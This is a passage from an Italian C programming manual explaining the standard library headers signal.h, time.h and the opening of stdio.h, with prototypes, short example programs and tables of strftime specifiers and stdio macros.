In base al fatto che sia stata dichiarato o meno il tipo '**`sighandler_t`**', la funzione potrebbe avere i prototipi seguenti:

```
sighandler_t signal (int sig, sighandler_t handler);
```

```
void (*signal (int sig, void (*handler) (int))) (int);
```

L'altra funzione da considerare è ***raise()***, con la quale si attiva volontariamente un segnale, dal quale poi dovrebbero o potrebbero sortire delle conseguenze, come stabilito in una fase precedente attraverso ***signal()***. La funzione ***raise()*** è molto semplice:

```
int raise (int sig);
```

La funzione richiede come argomento il numero del segnale da attivare e restituisce un valore pari a zero in caso di successo, altrimenti restituisce un valore diverso da zero. Naturalmente,

a seconda dell'azione che viene intrapresa all'interno del programma, a seguito della ricezione del segnale, può darsi che dopo questa funzione non venga eseguito altro, pertanto non è detto che possa essere letto il valore che la funzione potrebbe restituire.

80.15.7 Esempio

Viene proposto un esempio che serve a dimostrare il meccanismo di provocazione e intercettazione dei segnali:

```
#include <stdio.h>
#include <signal.h>

void sig_generic_handler (int sig)
{
  printf ("Ho intercettato il segnale n. %i.\n", sig);
}

void sigfpe_handler (int sig)
{
  printf ("Attenzione: ho intercettato il segnale SIGFPE (%i)\n"
          "             e devo concludere il funzionamento!\n", sig);
  exit (sig);
}

void sigterm_handler (int sig)
{
  printf ("Attenzione: ho intercettato il segnale SIGTERM (%i),\n"
          "             però non intendo rispettarlo.\n", sig);
}

void sigint_handler (int sig)
{
  printf ("Attenzione: ho intercettato il segnale SIGINT (%i),\n"
          "             però non intendo rispettarlo.\n", sig);
}

int main (void)
{
  signal (SIGFPE,  sigfpe_handler);
  signal (SIGTERM, sigterm_handler);
  signal (SIGINT,  sigint_handler);
  signal (SIGILL,  sig_generic_handler);
  signal (SIGSEGV, sig_generic_handler);

  int c;
  int x;

  printf ("[0][Invio] divisione per zero\n");
  printf ("[c][Invio] provoca un segnale SIGINT\n");
```

```
    printf ("[t][Invio] provoca un segnale SIGTERM\n");
    printf ("[q][Invio] conclude il funzionamento\n");
    while (1)
      {
        c = getchar();
        if (c == '0')
          {
            printf ("Sto per eseguire una divisione per zero:\n");
            x = x / 0;
          }
        else if (c == 'c')
          {
            raise (SIGINT);
          }
        else if (c == 't')
          {
            raise (SIGTERM);
          }
        else if (c == 'q')
          {
            return 0;
          }
      }
    return 0;
  }
```

All'inizio del programma vengono definite delle funzioni per il trattamento delle situazioni che hanno provocato un certo segnale. Nella funzione ***main()***, prima di ogni altra cosa, si associano tali funzioni ai segnali principali, quindi si passa a un ciclo senza fine, nel quale possono essere provocati dei segnali premendo un certo tasto, come suggerito da un breve menù. Per esempio è possibile provocare la condizione che si verifica tentando di dividere un numero per zero:

```
[0][Invio] divisione per zero
[c][Invio] provoca un segnale SIGINT
[t][Invio] provoca un segnale SIGTERM
[q][Invio] conclude il funzionamento
```

0 [*Invio*]

```
Sto per eseguire una divisione per zero:
Attenzione: ho intercettato il segnale SIGFPE (8)
            e devo concludere il funzionamento!
```

La divisione per zero fa scattare il segnale '**`SIGFPE`**' che viene intercettato dalla funzione ***sigfpe_handler()***, la quale però non può far molto e così conclude anche il funzionamento del programma.

Attraverso il menù è possibile provocare anche un segnale '**SIGINT**' e un segnale '**SIGTERM**', ma per questo è più interessante provare con i mezzi che dovrebbe offrire il sistema operativo:

```
[0][Invio] divisione per zero
[c][Invio] provoca un segnale SIGINT
[t][Invio] provoca un segnale SIGTERM
[q][Invio] conclude il funzionamento
```

[***Ctrl c***] [*Invio*]

```
Attenzione: ho intercettato il segnale SIGINT (2),
            però non intendo rispettarlo.
```

Utilizzando un sistema operativo Unix o simile, da un altro terminale, o da un'altra console, è possibile inviare un segnale specifico al programma:

$ **kill** ***n_processo*** [*Invio*]

```
Attenzione: ho intercettato il segnale SIGTERM (15),
            però non intendo rispettarlo.
```

$ **kill -s 4** ***n_processo*** [*Invio*]

```
Ho intercettato il segnale n. 4.
```

$ **kill -s 11** ***n_processo*** [*Invio*]

```
Ho intercettato il segnale n. 11.
```

Secondo l'esempio, i segnali 4 e 11 sono, rispettivamente, '**SIGILL**' e '**SIGSEGV**'.

[***q***] [*Invio*]

80.16 File «time.h»

Il file 'time.h' della libreria standard definisce principalmente delle funzioni per il trattamento delle informazioni data-orario. Non è stabilito in che modo venga rappresentato il tempo internamente alle funzioni, anche se di norma si tratta di un valore intero che esprime una quantità di secondi o di frazioni di secondo (si veda eventualmente la realizzazione del file 'time.h' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.16, oppure di os32, sezione 120.20).

80.16.1 Il tempo di CPU

La funzione ***clock()*** consente di ottenere il tempo di utilizzo del microprocessore (CPU), espresso virtualmente in cicli di CPU. In pratica, viene definita la macro-variabile ***CLOCKS_PER_SEC***, contenente il valore che esprime convenzionalmente la quantità di cicli di CPU per secondo; quindi, il valore restituito dalla funzione ***clock()*** si traduce in secondi dividendolo per ***CLOCKS_PER_SEC***. Il valore restituito dalla funzione ***clock()*** e l'espressione in cui si traduce la macro-variabile ***CLOCKS_PER_SEC*** sono di tipo '**clock_t**':

```
typedef long int clock_t;   // Unità di tempo convenzionale che
                            // rappresenta un ciclo virtuale di CPU.

#define CLOCKS_PER_SEC  1000000L  // Valore convenzionale di 1 s, in
                                  // termini di cicli virtuali di CPU.

clock_t clock (void);             // Tempo di utilizzo della CPU.
```

La funzione ***clock()*** restituisce il tempo di CPU espresso in unità '**`clock_t`**', utilizzato dal processo elaborativo a partire dall'avvio del programma. Se la funzione non è in grado di dare questa indicazione, allora restituisce il valore −1, o più precisamente '**`(clock_t) (-1)`**'.

Per valutare l'intervallo di tempo di utilizzo della CPU, da una certa posizione del programma, a un'altra, occorre memorizzare i valori ottenuti dalla funzione e poi procedere a una sottrazione.

Per comprendere il significato della funzione ***clock()***, del tipo '**`clock_t`**' e della macro-variabile ***CLOCKS_PER_SEC***, viene proposto un esempio molto semplice, ma completo, dove si intende che il tipo '**`clock_t`**' sia intero e sia contenibile in una variabile di tipo '**`long int`**':

```
#include <stdio.h>
#include <time.h>

int
main (int argc, char *argv[])
{
  clock_t t0;
  clock_t t1;
  long int i;
  long int x;

  t0 = clock ();
  printf ("Tempo iniziale: %li/%li\n",
          (long int) t0, (long int) CLOCKS_PER_SEC);

  for (i = 0; i < 10000000; i++)
    {
      x = i * 123;
    }

  t1 = clock ();
  printf ("Tempo finale: %li/%li\n",
          (long int) t1, (long int) CLOCKS_PER_SEC);

  return 0;
}
```

Avviando questo programma si potrebbe leggere un risultato simile al testo, dove si vede un valore di '**`CLOCKS_PER_SEC`**' pari a 1000000:

```
Tempo iniziale: 0/1000000
Tempo finale: 20000/1000000
```

80.16.2 Rappresentazione interna del tempo

Generalmente, nei sistemi Unix si tratta il tempo come una quantità di secondi trascorsi a partire da un'epoca di riferimento, che tradizionalmente coincide con l'ora zero del giorno 1 gennaio 1970. Da questo concetto deriva il tipo '**time_t**' della libreria, che, secondo lo standard, rappresenta la quantità di unità di tempo trascorsa a partire da un'epoca di riferimento.

```
typedef long int time_t;         // Unità di tempo convenzionale
                                 // per le informazioni data-orario.
```

Ammesso che si tratti di un numero intero, così come viene ipotizzato dall'esempio proposto, il rango costituisce il limite alle date rappresentabili. Pertanto, se il tipo '**time_t**' viene dichiarato come numero intero con segno, a 32 bit, per rappresentare una quantità di secondi (come nella tradizione Unix), significa che si possono rappresentare al massimo 24855 giorni, pari a circa 68 anni.[8] Se l'epoca di riferimento è il 1970, si può arrivare al massimo al 2038.

80.16.3 Rappresentazione strutturata del tempo

La libreria standard prescrive che sia definito il tipo '**struct tm**', con il quale è possibile rappresentare tutte le informazioni relative a un certo tempo, secondo le convenzioni umane. Lo standard prescrive con precisione i membri minimi della struttura e l'intervallo di valori che possono contenere:

```
struct tm {
    int tm_sec;     // Secondi:              da 0 a 60.
    int tm_min;     // Minuti:               da 0 a 59.
    int tm_hour;    // Ora:                  da 0 a 23.
    int tm_mday;    // Giorno del mese:      da 1 a 31.
    int tm_mon;     // Mese dell'anno:       da 0 a 11.
    int tm_year;    // Anno dal 1900.
    int tm_wday;    // Giorno della settimana: da 0 a 6
                    // con lo zero corrispondente alla domenica.
    int tm_yday;    // Giorno dell'anno:     da 0 a 365.
    int tm_isdst;   // Ora estiva. Contiene un valore positivo
                    // se è in vigore l'ora estiva; zero se l'ora
                    // è quella «normale» ovvero quella invernale;
                    // un valore negativo se l'informazione non è
                    // disponibile.
};
```

Si può osservare che il mese viene rappresentato con valori che vanno da 0 a 11, pertanto gennaio si indica con lo zero e dicembre con il numero 11; inoltre, l'intervallo ammesso per i secondi consente di rappresentare un secondo in più, dato che l'intervallo corretto sarebbe da 0 a 59; infine, il fatto che i giorni dell'anno vadano da 0 (il primo) a 365 (l'ultimo), significa che negli anni normali i valori vanno da 0 a 364, mentre negli anni bisestili si arriva a contare fino a 365.

80.16.4 Funzioni per l'elaborazione di valori legati al tempo

Un gruppo di funzioni dichiarate nel file 'time.h' ha lo scopo di elaborare in qualche modo le informazioni legate al tempo ed eventualmente di convertirle in formati diversi. Queste funzioni trattano il tempo in forma di variabili di tipo '**time_t**' o di tipo '**struct tm**'.[9]

La variabile di tipo '**time_t**' che viene usata in queste funzioni potrebbe esprimere un valore riferito al tempo universale (UT), mentre le funzioni che la utilizzano dovrebbero tenere conto del fuso orario, in base alle informazioni che può offrire il sistema operativo.

80.16.4.1 Funzione «time()»

La funzione ***time()*** determina il tempo attuale secondo il calendario del sistema operativo, restituendolo nella forma del tipo '**time_t**'. La funzione richiede un parametro, costituito da un puntatore di tipo '**time_t ***': se questo puntatore è valido, la stessa informazione che viene restituita viene anche memorizzata nell'indirizzo indicato da tale puntatore.

```
time_t  time (time_t *timer);
```

In pratica, se è possibile, l'informazione data-orario raccolta dalla funzione, viene anche memorizzata in ****timer***.

Se la funzione non può fornire l'informazione richiesta, allora restituisce il valore −1, o più precisamente: '**(time_t) (-1)**'.

80.16.4.2 Funzione «difftime()»

La funzione ***difftime()*** calcola la differenza tra due date, espresse in forma '**time_t**' e restituisce l'intervallo in secondi, in una variabile in virgola mobile, di tipo '**double**':

```
double  difftime (time_t time1, time_t time0);
```

Per la precisione, viene eseguito ***time1−time0*** e di conseguenza va il segno del risultato.

80.16.4.3 Funzione «mktime()»

La funzione ***mktime()*** riceve come argomento il puntatore a una variabile strutturata di tipo '**struct tm**', contenente le informazioni sull'ora locale, e determina il valore di quella data secondo la rappresentazione interna, di tipo '**time_t**':

```
time_t  mktime (struct tm *timeptr);
```

La funzione tiene in considerazione solo alcuni membri della struttura; per la precisione, non considera il giorno della settimana e il giorno dell'anno; inoltre, ammette anche valori al di fuori degli intervalli stabiliti per i vari membri della struttura; infine, considera un valore negativo per il membro '***timeptr*->tm_isdst**' come la richiesta di determinare se sia o meno in vigore l'ora estiva per la data indicata.

Se la funzione non è in grado di restituire un valore rappresentabile nel tipo '**time_t**', o comunque se non può eseguire il suo compito, restituisce il valore −1, o più precisamente '**(time_t) (-1)**'. Se invece tutto procede regolarmente, la funzione provvede anche a

correggere i valori dei vari membri della struttura e a ricalcolare il giorno della settimana e dell'anno.

L'esempio successivo mostra la dichiarazione di una variabile strutturata di tipo '**`struct tm`**', assegnando ai suoi membri dei valori non corretti. Con l'aiuto della funzione ***mktime()*** si ricostruisce la data secondo le convenzioni comuni:

```
#include <stdio.h>
#include <time.h>

int
main (int argc, char *argv[])
{
  struct tm t;
  time_t tx;

  t.tm_year = 107;    // 2007 - 1900
  t.tm_mon  = 5;
  t.tm_mday = 33;
  t.tm_hour = 0;
  t.tm_min  = 0;
  t.tm_sec  = 60;
  t.tm_isdst = -1;

  printf ("%i/%i/%i %i:%i:%i\n",
          t.tm_year + 1900, t.tm_mon + 1, t.tm_mday,
          t.tm_hour, t.tm_min, t.tm_sec);

  tx = mktime (&t);

  if (tx == (time_t) (-1))
    {
      printf ("Errore! %li\n", (long int) tx);
    }
  else
    {
      printf ("%i/%i/%i %i:%i:%i\n",
              t.tm_year + 1900, t.tm_mon + 1, t.tm_mday,
              t.tm_hour, t.tm_min, t.tm_sec);

      printf ("giorno della settimana: %i\n", t.tm_wday);
      printf ("giorno dell'anno: %i\n", t.tm_yday + 1);
      printf ("ora estiva: %i\n", t.tm_isdst);
    }
  return 0;
}
```

Eseguendo questo programma di esempio si dovrebbe ottenere il testo seguente:

```
2007/6/33 0:0:60
2007/7/3 0:1:0
giorno della settimana: 2
giorno dell'anno: 184
ora estiva: 1
```

80.16.4.4 Funzioni «gmtime()» e «localtime()»

Le funzioni ***gmtime()*** e ***localtime()*** hanno in comune il fatto di ricevere come argomento il puntatore di tipo '**time_t ***', a un'informazione data-orario, per restituire il puntatore a una variabile strutturata di tipo '**struct tm ***'. In altri termini, le due funzioni convertono una data espressa nella forma del tipo '**time_t**', in una data suddivisa nella struttura '**tm**':

```
struct tm *gmtime    (const time_t *timer);
struct tm *localtime (const time_t *timer);
```

Nell'ambito di queste funzioni, è ragionevole supporre che l'informazione di tipo '**time_t**' a cui fanno riferimento, sia espressa in termini di tempo universale e che le funzioni stesse abbiano la possibilità di stabilire il fuso orario e la modalità di regolazione dell'ora estiva.

In ogni caso, la differenza tra le due funzioni sta nel fatto che ***gmtime()*** traduce il tempo a cui punta il suo argomento in una struttura contenente la data tradotta secondo il tempo coordinato universale, mentre ***localtime()*** la traduce secondo l'ora locale.

Va osservato che queste funzioni restituiscono un puntatore a un'area di memoria che può essere sovrascritta da altre chiamate alle stessi funzioni o a funzioni simili.

80.16.5 Conversione in stringa

Un piccolo gruppo di funzioni del file 'time.h' è destinato alla conversione dei valori data-orario in stringhe, per l'interpretazione umana.

80.16.5.1 Funzione «asctime()»

La funzione ***asctime()*** converte un'informazione data-orario, espressa nella forma di una struttura '**struct tm**', in una stringa che esprime l'ora locale, usando però una rappresentazione fissa in lingua inglese:

```
char *asctime (const struct tm *timeptr);
```

In pratica, dal momento che la data e l'orario vanno espressi secondo le convenzioni della lingua inglese, lo standard stesso descrive completamente questa funzione e il listato seguente è tratto letteralmente da tale definizione:

```
#include <time.h>
char *asctime(const struct tm *timeptr)
{
  static const char wday_name[7][3] = {
      "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"
  };
  static const char mon_name[12][3] = {
      "Jan", "Feb", "Mar", "Apr", "May", "Jun",
      "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
  };
  static char result[26];
  sprintf(result, "%.3s %.3s%3d %.2d:%.2d:%.2d %i\n",
      wday_name[timeptr->tm_wday],
      mon_name[timeptr->tm_mon],
      timeptr->tm_mday, timeptr->tm_hour,
      timeptr->tm_min, timeptr->tm_sec,
      1900 + timeptr->tm_year);
  return result;
}
```

80.16.5.2 Funzione «ctime()»

La funzione ***ctime()*** converte un'informazione data-orario, espressa nella forma del tipo '**`time_t`**' in una stringa che esprime l'ora locale, usando però una rappresentazione fissa in lingua inglese:

```
char *ctime (const time_t *timer);
```

Il comportamento di questa funzione è tale da generare una stringa analoga a quella della funzione ***asctime()***, tanto che si la si potrebbe esprimere così:

```
char *ctime (const time_t *timer)
{
  return asctime (localtime (timer));
}
```

Oppure, come macro-istruzione, così:

```
#define ctime(t) (asctime (localtime (t)));
```

80.16.5.3 Funzione «strftime()»

La funzione ***strftime()*** si occupa di interpretare il contenuto di una struttura di tipo '**`struct tm`**' e di tradurlo in un testo, secondo una stringa di composizione libera. In altri termini, questa funzione si comporta in modo simile a ***printf()***, dove l'input è costituito dalla struttura contenente le informazioni data-orario.

```
size_t strftime (char * restrict s,
                  size_t maxsize,
                  const char * restrict format,
                  const struct tm * restrict timeptr);
```

Dal modello del prototipo della funzione, si vede che questa restituisce un valore numerico di tipo '**size_t**'. Questo valore rappresenta la quantità di elementi[10] che sono stati scritti nella stringa di destinazione, rappresentata dal primo parametro. Dal computo di questi elementi è escluso il carattere nullo di terminazione, ma questo viene comunque aggiunto dalla funzione.

La funzione richiede, nell'ordine: un array di caratteri da utilizzare per comporre il testo; la dimensione massima di questo array; la stringa di composizione, contenente del testo costante e degli specificatori di conversione; il puntatore alla struttura contenente le informazioni data-orario da usare nella conversione.

La funzione termina il proprio lavoro con successo solo se può scrivere nell'array di destinazione il testo composto secondo le indicazioni della stringa di composizione, includendo anche il carattere nullo di terminazione. Se ciò non avviene, il valore restituito dalla funzione è zero e il contenuto dell'array di destinazione è imprecisato.

Il listato successivo mostra un programma completo che dimostra il funzionamento di ***strftime()***. Va osservato che la conversione eseguita da tale funzione è sensibile alla configurazione locale; precisamente dipende dalla categoria '**LC_TIME**':

```
#include <stdio.h>
#include <locale.h>
#include <time.h>

int
main (int argc, char *argv[])
{
  char s[100];
  time_t t      = time (NULL);
  struct tm *tp = localtime (&t);
  int dim;
  setlocale (LC_ALL, "it_IT.UTF-8");
  dim = strftime (s, 100, "Ciao amore: sono le %H:%M del %d %B %Y.", tp);
  printf ("%d: %s\n", dim, s);
  return 0;
}
```

Ecco cosa si potrebbe ottenere eseguendo questo programma:

```
45: Ciao amore: sono le 09:32 del 27 giugno 2010.
```

Nella tabella successiva vengono elencati gli specificatori di conversione principali. Sono ammissibili delle varianti, con l'aggiunta di modificatori, che però non vengono descritte. Per esempio è ammissibile l'uso degli specificatori '**%Ec**' e '**%Od**', per indicare rispettivamente una variante di '**%c**' e '**%d**'.

Tabella 80.244. Specificatori di conversione usati dalla funzione ***strftime()***.

Specificatore	Corrispondenza
`%C`	*century* Il secolo, ottenuto dividendo l'anno per 100 e ignorando i decimali.
`%y` `%Y`	*year* L'anno: nel primo caso si mostrano solo le ultime due cifre, mentre nel secondo si mostrano tutte.
`%b` | `%h` `%B`	Rispettivamente, il nome abbreviato e il nome per esteso del mese.
`%m`	*month* Il numero del mese, da 01 a 12.
`%d` `%e`	*day* Il giorno del mese, in forma numerica, da 1 a 31, utilizzando sempre due cifre: nel primo caso si aggiunge eventualmente uno zero; nel secondo si aggiunge eventualmente uno spazio.
`%a` `%A`	Rispettivamente, il nome abbreviato e il nome per esteso del giorno della settimana.
`%H` `%L`	*hour* L'ora, espressa rispettivamente a 24 ore e a 12 ore.
`%p`	La sigla da usare, secondo la configurazione locale, per specificare che si tratta di un'ora antimeridiana o pomeridiana. Nella convenzione inglese si ottengono, per esempio, le sigle «AM» e «PM».
`%r`	L'ora espressa a 12 ore, completa dell'indicazione se trattasi di ora antimeridiana o pomeridiana, secondo le convenzioni locali.
`%R`	L'ora e i minuti, equivalente a '**`%H:%M`**'.
`%M`	*minute* I minuti, da 00 a 59.
`%S`	*second* I secondi, espresso con valori da 00 a 60.
`%T`	*time* L'ora, i minuti e i secondi, equivalente a '**`%H:%M:%S`**'.
`%z` `%Z`	*time zone* La rappresentazione del fuso orario, nel primo caso come distanza dal tempo coordinato universale (UTC), mentre nel secondo si usa una rappresentazione conforme alla configurazione locale.
`%j`	*julian* Il giorno dell'anno, usando sempre tre cifre numeriche: da 001 a 366.
`%g` `%G`	L'anno a cui appartiene la settimana secondo lo standard ISO 8601: nel primo caso si mostrano solo le ultime due cifre, mentre nel secondo si ha l'anno per esteso. Secondo lo standard ISO 8601 la settimana inizia con lunedì e la prima settimana dell'anno è quella che include il 4 gennaio.
`%V`	Il numero della settimana secondo lo standard ISO 8601. I valori vanno da 01 a 53. Secondo lo standard ISO 8601 la settimana inizia con lunedì e la prima settimana dell'anno è quella che include il 4 gennaio.

Specificatore	Corrispondenza
`%u` `%w`	Il giorno della settimana, espresso in forma numerica, dove, rispettivamente, si conta da 1 a 7, oppure da 0 a 6. Zero e sette rappresentano la domenica; uno è il lunedì.
`%U` `%W`	Il numero della settimana, contando, rispettivamente, dalla prima domenica o dal primo lunedì di gennaio. Si ottengono cifre da 00 a 53.
`%x`	La data, rappresentata secondo le convenzioni locali.
`%X`	L'ora, rappresentata secondo le convenzioni locali.
`%c`	La data e l'ora, rappresentate secondo le convenzioni locali.
`%D`	*date* La data, rappresentata come '**`%m/%d/%Y`**'.
`%F`	La data, rappresentata come '**`%Y-%m-%d`**'.
`%n`	Viene rimpiazzato dal codice di interruzione di riga.
`%t`	Viene rimpiazzato da una tabulazione orizzontale.
`%%`	Viene rimpiazzato da un carattere di percentuale.

80.17 File «stdio.h»

Il file '`stdio.h`' della libreria standard è quello che fornisce le funzioni più importanti e in generale è il più complesso da realizzare, in quanto dipende strettamente dal meccanismo di gestione dei file del sistema operativo (si veda eventualmente la realizzazione del file '`stdio.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.9, oppure di os32, sezione 120.12). L'elemento più delicato che viene definito qui è il tipo di dati '**`FILE`**', da cui dipende quasi tutto il resto.

Alle complicazioni che esistevano già alla nascita del linguaggio, nei primi sistemi Unix, si aggiungono attualmente quelle relative alla distinzione tra file di testo e file binari, oltre che quelle relative alla gestione dei caratteri multibyte, per cui la lettura o la scrittura attraverso un flusso di dati deve tenere conto dello stato di completamento di tali informazioni.

Il file '`stdio.h`' definisce le funzioni principali per l'accesso ai file e una serie di funzioni per la lettura e scrittura di dati formattati (si vedano ***print()***, ***scanf()*** e altre analoghe), ma altre funzioni realizzate espressamente per caratteri e stringhe estese (format e da elementi '**`wchar_t`**') si trovano nel file '`wchar.h`'.

I file proposti che si basano sugli esempi del capitolo sono incompleti, in quanto manca la dichiarazione del tipo '**`FILE`**' e del tipo '**`fpos_t`**'.

80.17.1 Tipi

Il file 'stdio.h', oltre a '**size_t**' che fa già parte del file 'stddef.h', e di '**va_list**' che fa già parte del file 'stdarg.h', dichiara due tipi di dati a uso specifico per la gestione dei file: '**FILE**' e '**fpos_t**', realizzati normalmente attraverso delle strutture.

Il tipo '**fpos_t**' serve a rappresentare tutte le informazioni necessarie a specificare univocamente le posizioni interne a un file, per gli scopi delle funzioni ***fgetpos()*** e ***fsetpos()***. Il tipo '**FILE**' deve poter esprimere tutte le informazioni necessarie a controllare un flusso di file (ovvero le operazioni su un file aperto), in particolare le posizioni correnti, il puntatore alla memoria tampone (*buffer*), l'indicatore di errore e di fine file.

```
typedef struct { /* omissis */ } fpos_t;

typedef struct { /* omissis */ } FILE;
```

L'organizzazione effettiva delle strutture che costituiscono i tipi '**fpos_t**' e '**FILE**' dipende strettamente dal sistema operativo (nel contesto particolare della propria architettura); pertanto, per poterne approfondire le caratteristiche, occorre prima uno studio dettagliato delle funzionalità del sistema operativo stesso.

POSIX

Alcune funzioni aggiunte dallo standard POSIX utilizzano anche il tipo '**off_t**', che è descritto nel file di intestazione 'sys/types.h'.

80.17.2 Macro-variabili varie

Il file 'stdio.h' dichiara la macro-variabile ***NULL***, come già avviene nel file 'stddef.h', assieme ad altre macro-variabili a uso delle funzioni dichiarate al proprio interno. Quelle più semplici sono descritte nella tabella 80.248. L'esempio proposto della dichiarazione di tali macro-variabili è molto approssimativo:

```
#define _IOFBF          0       // Input-output fully buffered.
#define _IOLBF          1       // Input-output line buffered.
#define _IONBF          2       // Input-output with no buffering.

#define EOF             (-1)

#define FOPEN_MAX       10
#define FILENAME_MAX    254
#define L_tmpnam        FILENAME_MAX

#define SEEK_SET        0       // Dall'inizio.
#define SEEK_CUR        1       // Dalla posizione corrente.
#define SEEK_END        2       // Dalla fine del file.

#define TMP_MAX         100000  // Si ipotizza di usare nomi da
                                // «TMP00000.tmp» a «TMP99999.tmp».
```

POSIX

La porzione successiva riguarda le estensioni POSIX:

```
#define L_ctermid       14
#define P_tmpdir        "/tmp"
```

Tabella 80.248. Macro-variabili comuni per le funzioni di '`stdio.h`'.

Denominazione	Significato mnemonico	Descrizione
`_IOFBF`	*input output fully buffered*	Indica simbolicamente la richiesta di utilizzo di una memoria tampone a blocchi.
`_IOLBF`	*input output line buffered*	Indica simbolicamente la richiesta di utilizzo di una memoria tampone gestita a righe di testo.
`_IONBF`	*input output with no buffering*	Indica simbolicamente la richiesta di non utilizzare alcuna memoria tampone.
`BUFSIZE`	*buffer size*	Rappresenta la dimensione predefinita della memoria tampone.
`EOF`	*end of file*	È un numero intero di tipo '**`int`**', negativo, che rappresenta il raggiungimento della fine del file. È in pratica ciò che si ottiene leggendo oltre la fine del file.
`FOPEN_MAX`	*file open max*	Il numero di file che un processo elaborativo può aprire simultaneamente, in base alle limitazioni poste dal sistema operativo.
`FILENAME_MAX`		La dimensione di un array di elementi '**`char`**', tale da essere abbastanza grande da contenere il nome del file più lungo (incluse le eventuali sequenze multibyte) che il sistema consenta di gestire.
`L_tmpnam`	*temporary name*	La dimensione di un array di elementi '**`char`**', tale da essere abbastanza grande da contenere il nome di un file temporaneo generato dalla funzione ***tmpnam()***.
`SEEK_CUR`	*seek current*	Indica di eseguire un posizionamento a partire dalla posizione corrente del file.
`SEEK_END`		Indica di eseguire un posizionamento a partire dalla fine di un file.
`SEEK_SET`		Indica di eseguire un posizionamento a partire dall'inizio di un file.
`TMP_MAX`		Rappresenta la quantità massima di nomi di file differenti che possono essere generati dalla funzione ***tmpnam()***.

Tabella 80.249. Macro-variabili aggiunte dalle estensioni POSIX.

Denominazione	Significato mnemonico	Descrizione
`L_ctermid`	*character terminal identity*	La dimensione di un array di elementi '**`char`**', tale da essere abbastanza grande da contenere il nome del file di dispositivo restituito dalla funzione ***ctermid()***.
`P_tmpdir`	*temporary directory*	Definisce il percorso di una directory temporanea, da scegliere quando ciò che viene specificato con la funzione ***tempnam()*** non è appropriato.

80.17.3 Ipotesi di gestione del tipo «FILE»

Pur non essendo necessario che sia così, si può ipotizzare che per ogni file che possa essere aperto simultaneamente, sia disponibile un elemento di tipo '**FILE**' organizzato in un array. In tal caso, potrebbe essere dichiarato così, già nel file 'stdio.h', anche se il nome usato è puramente indicativo:

```
...
FILE _stream[FOPEN_MAX];
...
```

L'uso della macro-variabile ***FOPEN_MAX*** garantisce che siano predisposti esattamente tutti gli elementi necessari alla gestione simultanea del limite di file previsti.

80.17.4 Flussi standard

Lo standard del linguaggio C prescrive che i nomi dei flussi standard previsti siano delle macro-variabili, tali da espandersi in espressioni che rappresentino puntatori di tipo '**FILE ***', diretti ai flussi standard rispettivi. Nel caso del compilatore GNU C i puntatori sono già definiti con lo stesso nome dei flussi e, nel file 'stdio.h' vi si fa riferimento in qualità di variabili esterne (in quanto dichiarate nella libreria precompilata):

```
extern FILE *stdin;     // Si ipotizza che la libreria C definisca
extern FILE *stdout;    // già i puntatori ai flussi standard, usando
extern FILE *stderr;    // i nomi predefiniti.
                        //
#define stdin  stdin    // In questo caso, è facile definire le
#define stdout stdout   // macro che fanno riferimento ai flussi
#define stderr stderr   // standard.
```

Diversamente, nell'ipotesi in cui si gestisca un array di elementi '**FILE**', si potrebbe supporre che i primi tre elementi siano usati per i flussi standard e in tal caso le dichiarazioni delle macro-variabili potrebbero essere fatte così:

```
...
#define stdin  (&_stream[0])
#define stdout (&_stream[1])
#define stderr (&_stream[2])
...
```

80.17.5 Funzioni per la rimozione e la ridenominazione dei file

Le funzioni ***remove()*** e ***rename()*** consentono, rispettivamente di eliminare o di rinominare un file. Il file in questione viene individuato da una stringa, il cui contenuto deve conformarsi alle caratteristiche del sistema operativo. Le due funzioni hanno in comune il fatto di restituire un valore intero (di tipo '**int**'), dove il valore zero rappresenta il completamento con successo dell'operazione, mentre un valore differente indica un fallimento.

```
int remove (const char *filename);
int rename (const char *old, const char *new);
```

La sintassi per l'uso della funzione ***remove()*** è evidente dal suo prototipo, in quanto si attende un solo argomento che è costituito dal nome del file da eliminare; nel caso della funzione ***rename()***, invece, il primo argomento è il nome del file preesistente e il secondo è quello che si vuole attribuirgli.

È importante ribadire che il comportamento delle due funzioni dipende dal sistema operativo. Per esempio, la ridenominazione può provocare la cancellazione di un file preesistente con lo stesso nome che si vorrebbe attribuire a un altro, oppure potrebbe limitarsi a fallire. In un sistema Unix o simile, molto dipende dalla configurazione dei permessi.

80.17.6 Funzioni per la gestione dei file temporanei

Le funzioni ***tmpfile()*** e ***tmpnam()*** servono per facilitare la creazione di file temporanei. La prima crea automaticamente un file di cui non si conosce il nome e la collocazione, aprendolo in aggiornamento (modalità '**`wb+`**'); la seconda si limita a generare un nome che potrebbe essere usato per creare un file temporaneo:

```
FILE *tmpfile (void);
char *tmpnam  (char *s);
```

L'uso della funzione ***tmpfile()*** è evidente, in quanto non richiede argomenti e restituisce il puntatore al file creato; la seconda richiede l'indicazione di un array di caratteri da poter modificare, restituendo comunque il puntatore all'inizio dello stesso array. In ogni caso va chiarito che il file creato con la funzione '**`tmpfile`**', una volta chiuso, viene rimosso automaticamente.

Le due funzioni devono essere in grado di poter generare un numero di nomi differente pari almeno al valore rappresentato da '**`TMP_MAX`**', rimanendo il fatto che non possano essere aperti più di '**`FOPEN_MAX`**' file e che non possono essere generati file con nomi già esistenti.

Se si utilizza la funzione ***tmpnam()***, l'array di caratteri che costituisce il primo argomento (***s***), viene usato dalla funzione per scriverci il nome del file temporaneo, restituendone poi il puntatore; tale array deve avere una dimensione di almeno '**`L_tmpnam`**' elementi, come si vede nell'esempio seguente:

```
#include <stdio.h>
int main (void)
{
  char t[L_tmpnam];
  char *p;
  p = tmpnam (t);
  printf ("%s %s\n", t, p);
  return 0;
}
```

Se la funzione ***tmpnam()*** riceve come argomento il puntatore nullo, il nome del file temporaneo viene scritto in un'area di memoria statica che viene sovrascritta a ogni chiamata

successiva della funzione stessa.

Entrambe le funzioni, se non possono eseguire il loro compito, restituiscono un puntatore nullo.

Le estensioni POSIX aggiungono anche la funzione ***tempnam()***, la quale ha un comportamento simile a quello di ***tmpnam()***, in quanto non crea il file, ma restituisce il percorso del file che potrebbe essere creato:

```
char *tempnam (const char *dir, const char *prefix);
```

